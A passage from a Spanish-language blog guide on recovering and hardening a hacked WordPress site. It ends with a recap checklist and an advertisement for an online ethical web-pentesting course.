- Instala un cortafuegos: WordFence o Sucuri te ahorrarán quebraderos de cabeza impidiendo y bloqueando los intentos repetidos de ataque.
- Deshabilita el editor de temas y plugins por defecto en WordPress: En realidad no es necesario y puede ser empleado como puerta de acceso para los atacantes.
- Limita los intentos de inicio de sesión en WordPress: De esta forma inhabilitarás los ataques de fuerza bruta.
- Imposibilita la ejecución de PHP en según que directorios: Esto evitará que los atacantes empleen sus trucos en los directorios que no sean estrictamente necesarios.
Ten en cuenta que incluso si lograste recuperar una versión limpia no hackeada de tu web esta no tardara en volver a ser hackeada. Quienes ya ficharon tu web volverán a entrar como entraron la primera ver. Por lo tanto, hace que reforzarlas. Hacer esto escapa al contenido de esta guia pero, pronto estaré creando una de referencia.
Conclusión
Tener su sitio de hackeado es un momento estresante. Sin embargo, es mejor redirigir tu energía a la mitigación de daños y tomar medidas para recuperar tu sitio. He aquí un rápido resumen:
- Poner tu sitio web hackeado en modo de mantenimiento.
- Restablecer la contraseña.
- Actualizar tu sitio.
- Desactivar plugins y temas.
- Reinstalar.
- Eliminar los usuarios con privilegios de administrador.
- Buscar malware.
- Desactivar la ejecución de PHP.
- Limpiar la base de datos.
- Limpiar el mapa del sitio.
- Contactar con tu proveedor de alojamiento.
Concluimos este capitulo con el firme propósito de que hayas fortalecido las defensas de tu sitio web. La combinación de recuperación efectiva y prácticas de hardening te coloca en la vanguardia contra las amenazas cibernéticas. ¡Mantén tu presencia digital segura! Espero haberte ayudado a limpiar y recuperar tu web si ha sido hackeado o infectado, si tienes alguna duda puedes dejarla abajo en la sección de comentarios.
Pentesting Web. Prácticas de un Ethical Hacker Profesional.
El Pentesting Web se enfoca principalmente en aplicaciones y paginas funcionando en internet. Esto genera que su demanda laboral sea además de muy alta, sumamente importante.
La gran ventaja de esta profesión es que efectivamente, puedes llevarla adelante desde cualquier parte del mundo, con una computadora e internet.
Nosotros te brindaremos los fundamentos teóricos y la base necesaria para que empieces desde 0, y vayas avanzando hacia el ámbito profesional, con laboratorios simulando entornos reales
Hemos creado esta formación profesional donde aprenderás todo lo que necesitas para ser un experto, y con practicas que podrás aplicar en escenarios reales.
Contaras con nuestra supervisión, experiencia y respuesta a todas tus preguntas que tengas sobre el contenido. Así también sobre las actualizaciones que hagamos sobre el curso, el cual será tuyo de por vida y recibirás dichas actualizaciones sin tener que volver a pagar.
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 500.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma.
Y junto a mi compañero el profesor Walter Coto donde con él hemos dictado formaciones profesionales en conjunto también en la plataforma de Udemy, el cuenta con más de 330.000 Estudiantes y hoy les traemos esta oportunidad de seguirse formando en hacking ético en entornos Web.
Tendrás acceso de por vida al curso, recibirás actualizaciones y respuestas a tus preguntas a través de la plataforma de Udemy.
Empieza a aprender ya mismo!
Aprende Pentesting Web, Hacking Ético y Ciberseguridad. Practicas reales y aprender todo sobre Vulnerar entornos Web: https://achirou.com/pentesting-web
Lo que aprenderás
- Hacking Ético Web
- El TOP 10 Vulnerabilidades Web de OWASP
- Uso de Burp Suite
- Identificar Vulnerabilidades Web
- Explotar Vulnerabilidades Web
- Identificar Vulnerabilidades que NO son de OWASP TOP 10
- Prácticar con Escenarios Reales de Hacking Web
- Las 5 Fases del Pentesting Web